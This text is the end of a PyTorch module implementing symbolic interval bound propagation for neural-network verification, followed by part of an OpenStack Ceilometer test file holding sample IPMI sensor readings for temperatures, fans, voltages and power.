self.extend() if(self.proj_ind is None): e = (self.idep*self.e.view(self.batch_size,\ self.proj, 1)).abs().sum(dim=1) else: e = self.idep.abs().sum(dim=1) #print("e1", e) e = e + self.idep_proj.abs() #print("e2", e) if(self.edep): for i in range(len(self.edep)): e = e + self.edep_ind[i].t().mm(self.edep[i].abs()) #print("e3", e) self.l = self.c - e self.u = self.c + e return self '''Extending convolutional layer nodes to a two-dimensional vector. ''' def extend(self): self.c = self.c.reshape(self.batch_size, self.n) self.idep = self.idep.reshape(-1, self.proj, self.n) self.idep_proj = self.idep_proj.reshape(-1, self.n) for i in range(len(self.edep)): self.edep[i] = self.edep[i].reshape(-1, self.n) '''Convert the extended layer back to the shape stored in `shape`. ''' def shrink(self): self.c = self.c.reshape(tuple([-1]+self.shape)) self.idep = self.idep.reshape(tuple([-1]+self.shape)) self.idep_proj = self.idep_proj.view(tuple([self.batch_size]+self.shape)) for i in range(len(self.edep)): self.edep[i] = self.edep[i].reshape(\ tuple([-1]+self.shape)) '''Calculate the wrost case of the analyzed output ranges. Return the upper bound of other output dependency minus target's output dependency. If the returned value is less than 0, it means the worst case provided by interval analysis will never be larger than the target label y's. ''' def worst_case(self, y, output_size): assert y.shape[0] == self.l.shape[0] == self.batch_size,\ "wrong label shape" if(self.use_cuda): kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False, device=y.get_device())[y] else: kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False)[y] c_t = self.c.masked_select(kk).unsqueeze(1) self.c = self.c - c_t idep_t = self.idep.masked_select(\ kk.view(self.batch_size,1,output_size)).\ view(self.batch_size, self.proj,1) self.idep = self.idep-idep_t idep_proj_t = self.idep_proj.masked_select(kk) self.idep_proj = self.idep_proj+idep_proj_t.view(-1,1) self.idep_proj = self.idep_proj*(1-kk).type_as(self.idep_proj) for i in range(len(self.edep)): edep_t = self.edep[i].masked_select((self.edep_ind[i].\ mm(kk.type_as(self.edep_ind[i]))).type_as(kk)).\ view(-1,1) self.edep[i] = self.edep[i]-edep_t self.concretize() return self.u class Symbolic_interval_proj2(Interval): ''' * :attr:`shape` is the input shape of ReLU layers. * :attr:`n` is the number of hidden nodes in each layer. * :attr:`idep` keeps the input dependencies. * :attr:`edep` keeps the error dependency introduced by each overestimated nodes. ''' def __init__(self, lower, upper, proj=None,\ proj_ind=None, use_cuda=False): assert lower.shape[0]==upper.shape[0], "each symbolic"+\ "should have the same shape" Interval.__init__(self, lower, upper) self.use_cuda = use_cuda self.shape = list(self.c.shape[1:]) self.n = list(self.c[0].reshape(-1).size())[0] self.input_size = self.n self.batch_size = self.c.shape[0] if(self.use_cuda): self.idep = torch.eye(self.n, device=\ self.c.get_device()) else: self.idep = torch.eye(self.n) self.edep = self.e.new_zeros(self.e.shape) self.proj_ind = proj_ind self.proj = proj if(proj_ind is None): idep_ind = np.arange(self.proj) proj_ind = np.arange(self.proj, self.input_size) self.idep_proj = self.idep[proj_ind].sum(dim=0).unsqueeze(0) self.idep = self.idep[idep_ind].unsqueeze(0) self.idep_proj = self.idep_proj*self.e.\ view(self.batch_size, self.input_size) self.e = self.e.view(self.batch_size,\ self.input_size)[:, idep_ind] else: self.idep = self.idep.unsqueeze(0)*\ self.e.view(self.batch_size,1,self.n) #print(self.idep.shape, proj_ind.shape) self.idep = self.idep.gather(index=proj_ind.\ unsqueeze(-1).repeat(1,1,self.n), dim=1) #print(self.idep.shape) self.idep_proj = (self.idep.sum(dim=1)==0).type_as(self.idep) self.idep_proj = self.idep_proj*\ self.e.view(self.batch_size, self.input_size) #print("proj",self.idep_proj.shape) '''Calculating the upper and lower matrix for symbolic intervals. To make concretize easier, convolutional layer nodes will be extended first. ''' def concretize(self): self.extend() if(self.proj_ind is None): e = (self.idep*self.e.view(self.batch_size,\ self.proj, 1)).abs().sum(dim=1) else: e = self.idep.abs().sum(dim=1) #print("e1", e) e = e + self.idep_proj.abs() #print("e2", e) e = e + self.edep.abs() #print("e3", e) self.l = self.c - e self.u = self.c + e return self '''Extending convolutional layer nodes to a two-dimensional vector. ''' def extend(self): self.c = self.c.reshape(self.batch_size, self.n) self.idep = self.idep.reshape(-1, self.proj, self.n) self.idep_proj = self.idep_proj.reshape(-1, self.n) self.edep = self.edep.reshape(self.batch_size, self.n) '''Convert the extended layer back to the shape stored in `shape`. ''' def shrink(self): self.c = self.c.reshape(tuple([-1]+self.shape)) self.idep = self.idep.reshape(tuple([-1]+self.shape)) self.idep_proj = self.idep_proj.view(tuple([self.batch_size]+self.shape)) self.edep = self.edep.view(tuple([-1]+self.shape)) '''Calculate the wrost case of the analyzed output ranges. Return the upper bound of other output dependency minus target's output dependency. If the returned value is less than 0, it means the worst case provided by interval analysis will never be larger than the target label y's. ''' def worst_case(self, y, output_size): assert y.shape[0] == self.l.shape[0] == self.batch_size,\ "wrong label shape" if(self.use_cuda): kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False, device=y.get_device())[y] else: kk = torch.eye(output_size, dtype=torch.uint8,\ requires_grad=False)[y] c_t = self.c.masked_select(kk).unsqueeze(1) self.c = self.c - c_t idep_t = self.idep.masked_select(\ kk.view(self.batch_size,1,output_size)).\ view(self.batch_size, self.proj,1) self.idep = self.idep-idep_t idep_proj_t = self.idep_proj.masked_select(kk) self.idep_proj = self.idep_proj+idep_proj_t.view(-1,1) self.idep_proj = self.idep_proj*(1-kk).type_as(self.idep_proj) edep_t = self.edep.masked_select(kk) self.edep = self.edep+edep_t.view(-1,1) self.edep = self.edep*(1-kk).type_as(self.edep) self.concretize() return self.u class gen_sym(Symbolic_interval): def __init__(self, lower, upper, epsilon=[0, 0, 0], norm=["linf", "l2", "l1"], use_cuda=False): Symbolic_interval.__init__(self, lower, upper, epsilon, norm, use_cuda) self.use_cuda = use_cuda self.shape = list(self.c.shape[1:]) self.n = list(self.c[0].reshape(-1).size())[0] self.input_size = self.n self.batch_size = self.c.shape[0] self.epsilon = epsilon self.norm = norm if(self.use_cuda): self.idep = torch.eye(self.n, device=\ self.c.get_device()).unsqueeze(0) else: self.idep = torch.eye(self.n).unsqueeze(0) self.edep = [] self.edep_ind = [] def concretize(self): self.extend() e = None for i in range(len(self.norm)): if self.norm[i] == "linf": e0 = (self.idep*self.e.view(self.batch_size,\ self.input_size, 1)).abs().sum(dim=1) elif self.norm[i] == "l2": idep = torch.norm(self.idep, dim=1, keepdim=False) e0 = idep*self.epsilon[i] elif self.norm[i] == "l1": idep = self.idep.abs().max(dim=1, keepdim=False)[0] e0 = idep*self.epsilon[i] if e is None: e = e0 else: e = torch.where(e>e0, e, e0) if self.edep: #print("sym e1", e) for i in range(len(self.edep)): e = e + self.edep_ind[i].t().mm(self.edep[i].abs()) #print("sym e2", e) self.l = self.c - e self.u = self.c + e return self

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0.744182

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97

29.763743

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583219fe7021da84b985f05e6b8fe475fa7375d0

30,181

py

Python

ceilometer/tests/unit/ipmi/notifications/ipmi_test_data.py

maestro-hybrid-cloud/ceilometer

939cb080a193e14af8ceb44df3b631f5c2f6bf6d

[ "Apache-2.0" ]

1

2016-03-10T06:55:45.000Z

ceilometer/tests/unit/ipmi/notifications/ipmi_test_data.py

maestro-hybrid-cloud/ceilometer

939cb080a193e14af8ceb44df3b631f5c2f6bf6d

[ "Apache-2.0" ]

null

ceilometer/tests/unit/ipmi/notifications/ipmi_test_data.py

maestro-hybrid-cloud/ceilometer

939cb080a193e14af8ceb44df3b631f5c2f6bf6d

[ "Apache-2.0" ]

3

2015-10-08T20:03:36.000Z

2020-02-05T10:45:50.000Z

# # Copyright 2014 Red Hat, Inc # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """Sample data for test_ipmi. This data is provided as a sample of the data expected from the ipmitool driver in the Ironic project, which is the publisher of the notifications being tested. """ TEMPERATURE_DATA = { 'DIMM GH VR Temp (0x3b)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': '26 (+/- 0.500) degrees C', 'Entity ID': '20.6 (Power Module)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '95.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '105.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '100.000', 'Sensor ID': 'DIMM GH VR Temp (0x3b)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, 'CPU1 VR Temp (0x36)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': '32 (+/- 0.500) degrees C', 'Entity ID': '20.1 (Power Module)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '95.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '105.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '100.000', 'Sensor ID': 'CPU1 VR Temp (0x36)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, 'DIMM EF VR Temp (0x3a)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': '26 (+/- 0.500) degrees C', 'Entity ID': '20.5 (Power Module)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '95.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '105.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '100.000', 'Sensor ID': 'DIMM EF VR Temp (0x3a)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, 'CPU2 VR Temp (0x37)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': '31 (+/- 0.500) degrees C', 'Entity ID': '20.2 (Power Module)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '95.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '105.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '100.000', 'Sensor ID': 'CPU2 VR Temp (0x37)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, 'Ambient Temp (0x32)': { 'Status': 'ok', 'Sensor Reading': '25 (+/- 0) degrees C', 'Entity ID': '12.1 (Front Panel Board)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Event Message Control': 'Per-threshold', 'Assertion Events': '', 'Upper non-critical': '43.000', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Upper non-recoverable': '50.000', 'Positive Hysteresis': '4.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '46.000', 'Sensor ID': 'Ambient Temp (0x32)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '25.000' }, 'Mezz Card Temp (0x35)': { 'Status': 'Disabled', 'Sensor Reading': 'Disabled', 'Entity ID': '44.1 (I/O Module)', 'Event Message Control': 'Per-threshold', 'Upper non-critical': '70.000', 'Upper non-recoverable': '85.000', 'Positive Hysteresis': '4.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '80.000', 'Sensor ID': 'Mezz Card Temp (0x35)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '25.000' }, 'PCH Temp (0x3c)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': '46 (+/- 0.500) degrees C', 'Entity ID': '45.1 (Processor/IO Module)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '93.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '103.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '98.000', 'Sensor ID': 'PCH Temp (0x3c)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, 'DIMM CD VR Temp (0x39)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': '27 (+/- 0.500) degrees C', 'Entity ID': '20.4 (Power Module)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '95.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '105.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '100.000', 'Sensor ID': 'DIMM CD VR Temp (0x39)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, 'PCI Riser 2 Temp (0x34)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': '30 (+/- 0) degrees C', 'Entity ID': '16.2 (System Internal Expansion Board)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '70.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '85.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '80.000', 'Sensor ID': 'PCI Riser 2 Temp (0x34)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, 'DIMM AB VR Temp (0x38)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': '28 (+/- 0.500) degrees C', 'Entity ID': '20.3 (Power Module)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '95.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '105.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '100.000', 'Sensor ID': 'DIMM AB VR Temp (0x38)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, 'PCI Riser 1 Temp (0x33)': { 'Status': 'ok', 'Deassertions Enabled': 'unc+ ucr+ unr+', 'Sensor Reading': '38 (+/- 0) degrees C', 'Entity ID': '16.1 (System Internal Expansion Board)', 'Assertions Enabled': 'unc+ ucr+ unr+', 'Positive Hysteresis': '4.000', 'Assertion Events': '', 'Upper non-critical': '70.000', 'Event Message Control': 'Per-threshold', 'Upper non-recoverable': '85.000', 'Normal Maximum': '112.000', 'Maximum sensor range': 'Unspecified', 'Sensor Type (Analog)': 'Temperature', 'Readable Thresholds': 'unc ucr unr', 'Negative Hysteresis': 'Unspecified', 'Threshold Read Mask': 'unc ucr unr', 'Upper critical': '80.000', 'Sensor ID': 'PCI Riser 1 Temp (0x33)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '16.000' }, } CURRENT_DATA = { 'Avg Power (0x2e)': { 'Status': 'ok', 'Sensor Reading': '130 (+/- 0) Watts', 'Entity ID': '21.0 (Power Management)', 'Assertions Enabled': '', 'Event Message Control': 'Per-threshold', 'Readable Thresholds': 'No Thresholds', 'Positive Hysteresis': 'Unspecified', 'Sensor Type (Analog)': 'Current', 'Negative Hysteresis': 'Unspecified', 'Maximum sensor range': 'Unspecified', 'Sensor ID': 'Avg Power (0x2e)', 'Assertion Events': '', 'Minimum sensor range': '2550.000', 'Settable Thresholds': 'No Thresholds' } } FAN_DATA = { 'Fan 4A Tach (0x46)': { 'Status': 'ok', 'Sensor Reading': '6900 (+/- 0) RPM', 'Entity ID': '29.4 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2580.000', 'Positive Hysteresis': '120.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '15300.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '120.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 4A Tach (0x46)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '4020.000' }, 'Fan 5A Tach (0x48)': { 'Status': 'ok', 'Sensor Reading': '7140 (+/- 0) RPM', 'Entity ID': '29.5 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2580.000', 'Positive Hysteresis': '120.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '15300.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '120.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 5A Tach (0x48)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '4020.000' }, 'Fan 3A Tach (0x44)': { 'Status': 'ok', 'Sensor Reading': '6900 (+/- 0) RPM', 'Entity ID': '29.3 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2580.000', 'Positive Hysteresis': '120.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '15300.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '120.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 3A Tach (0x44)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '4020.000' }, 'Fan 1A Tach (0x40)': { 'Status': 'ok', 'Sensor Reading': '6960 (+/- 0) RPM', 'Entity ID': '29.1 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2580.000', 'Positive Hysteresis': '120.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '15300.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '120.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 1A Tach (0x40)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '4020.000' }, 'Fan 3B Tach (0x45)': { 'Status': 'ok', 'Sensor Reading': '7104 (+/- 0) RPM', 'Entity ID': '29.3 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2752.000', 'Positive Hysteresis': '128.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '16320.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '128.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 3B Tach (0x45)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '3968.000' }, 'Fan 2A Tach (0x42)': { 'Status': 'ok', 'Sensor Reading': '7080 (+/- 0) RPM', 'Entity ID': '29.2 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2580.000', 'Positive Hysteresis': '120.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '15300.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '120.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 2A Tach (0x42)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '4020.000' }, 'Fan 4B Tach (0x47)': { 'Status': 'ok', 'Sensor Reading': '7488 (+/- 0) RPM', 'Entity ID': '29.4 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2752.000', 'Positive Hysteresis': '128.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '16320.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '128.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 4B Tach (0x47)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '3968.000' }, 'Fan 2B Tach (0x43)': { 'Status': 'ok', 'Sensor Reading': '7168 (+/- 0) RPM', 'Entity ID': '29.2 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2752.000', 'Positive Hysteresis': '128.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '16320.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '128.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 2B Tach (0x43)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '3968.000' }, 'Fan 5B Tach (0x49)': { 'Status': 'ok', 'Sensor Reading': '7296 (+/- 0) RPM', 'Entity ID': '29.5 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2752.000', 'Positive Hysteresis': '128.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '16320.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '128.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 5B Tach (0x49)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '3968.000' }, 'Fan 1B Tach (0x41)': { 'Status': 'ok', 'Sensor Reading': '7296 (+/- 0) RPM', 'Entity ID': '29.1 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2752.000', 'Positive Hysteresis': '128.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '16320.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '128.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 1B Tach (0x41)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '3968.000' }, 'Fan 6B Tach (0x4b)': { 'Status': 'ok', 'Sensor Reading': '7616 (+/- 0) RPM', 'Entity ID': '29.6 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2752.000', 'Positive Hysteresis': '128.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '16320.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '128.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 6B Tach (0x4b)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '3968.000' }, 'Fan 6A Tach (0x4a)': { 'Status': 'ok', 'Sensor Reading': '7080 (+/- 0) RPM', 'Entity ID': '29.6 (Fan Device)', 'Assertions Enabled': 'lcr-', 'Normal Minimum': '2580.000', 'Positive Hysteresis': '120.000', 'Assertion Events': '', 'Event Message Control': 'Per-threshold', 'Normal Maximum': '15300.000', 'Deassertions Enabled': 'lcr-', 'Sensor Type (Analog)': 'Fan', 'Lower critical': '1920.000', 'Negative Hysteresis': '120.000', 'Threshold Read Mask': 'lcr', 'Maximum sensor range': 'Unspecified', 'Readable Thresholds': 'lcr', 'Sensor ID': 'Fan 6A Tach (0x4a)', 'Settable Thresholds': '', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '4020.000' } } VOLTAGE_DATA = { 'Planar 12V (0x18)': { 'Status': 'ok', 'Sensor Reading': '12.312 (+/- 0) Volts', 'Entity ID': '7.1 (System Board)', 'Assertions Enabled': 'lcr- ucr+', 'Event Message Control': 'Per-threshold', 'Assertion Events': '', 'Maximum sensor range': 'Unspecified', 'Positive Hysteresis': '0.108', 'Deassertions Enabled': 'lcr- ucr+', 'Sensor Type (Analog)': 'Voltage', 'Lower critical': '10.692', 'Negative Hysteresis': '0.108', 'Threshold Read Mask': 'lcr ucr', 'Upper critical': '13.446', 'Readable Thresholds': 'lcr ucr', 'Sensor ID': 'Planar 12V (0x18)', 'Settable Thresholds': 'lcr ucr', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '12.042' }, 'Planar 3.3V (0x16)': { 'Status': 'ok', 'Sensor Reading': '3.309 (+/- 0) Volts', 'Entity ID': '7.1 (System Board)', 'Assertions Enabled': 'lcr- ucr+', 'Event Message Control': 'Per-threshold', 'Assertion Events': '', 'Maximum sensor range': 'Unspecified', 'Positive Hysteresis': '0.028', 'Deassertions Enabled': 'lcr- ucr+', 'Sensor Type (Analog)': 'Voltage', 'Lower critical': '3.039', 'Negative Hysteresis': '0.028', 'Threshold Read Mask': 'lcr ucr', 'Upper critical': '3.564', 'Readable Thresholds': 'lcr ucr', 'Sensor ID': 'Planar 3.3V (0x16)', 'Settable Thresholds': 'lcr ucr', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '3.309' }, 'Planar VBAT (0x1c)': { 'Status': 'ok', 'Sensor Reading': '3.137 (+/- 0) Volts', 'Entity ID': '7.1 (System Board)', 'Assertions Enabled': 'lnc- lcr-', 'Event Message Control': 'Per-threshold', 'Assertion Events': '', 'Readable Thresholds': 'lcr lnc', 'Positive Hysteresis': '0.025', 'Deassertions Enabled': 'lnc- lcr-', 'Sensor Type (Analog)': 'Voltage', 'Lower critical': '2.095', 'Negative Hysteresis': '0.025', 'Lower non-critical': '2.248', 'Maximum sensor range': 'Unspecified', 'Sensor ID': 'Planar VBAT (0x1c)', 'Settable Thresholds': 'lcr lnc', 'Threshold Read Mask': 'lcr lnc', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '3.010' }, 'Planar 5V (0x17)': { 'Status': 'ok', 'Sensor Reading': '5.062 (+/- 0) Volts', 'Entity ID': '7.1 (System Board)', 'Assertions Enabled': 'lcr- ucr+', 'Event Message Control': 'Per-threshold', 'Assertion Events': '', 'Maximum sensor range': 'Unspecified', 'Positive Hysteresis': '0.045', 'Deassertions Enabled': 'lcr- ucr+', 'Sensor Type (Analog)': 'Voltage', 'Lower critical': '4.475', 'Negative Hysteresis': '0.045', 'Threshold Read Mask': 'lcr ucr', 'Upper critical': '5.582', 'Readable Thresholds': 'lcr ucr', 'Sensor ID': 'Planar 5V (0x17)', 'Settable Thresholds': 'lcr ucr', 'Minimum sensor range': 'Unspecified', 'Nominal Reading': '4.995' } } SENSOR_DATA = { 'message_id': 'f22188ca-c068-47ce-a3e5-0e27ffe234c6', 'publisher_id': 'f23188ca-c068-47ce-a3e5-0e27ffe234c6', 'payload': { 'instance_uuid': 'f11251ax-c568-25ca-4582-0x27add644c6', 'timestamp': '20140223134852', 'node_uuid': 'f4982fd2-2f2b-4bb5-9aff-48aac801d1ad', 'event_type': 'hardware.ipmi.metrics.update', 'payload': { 'Temperature': 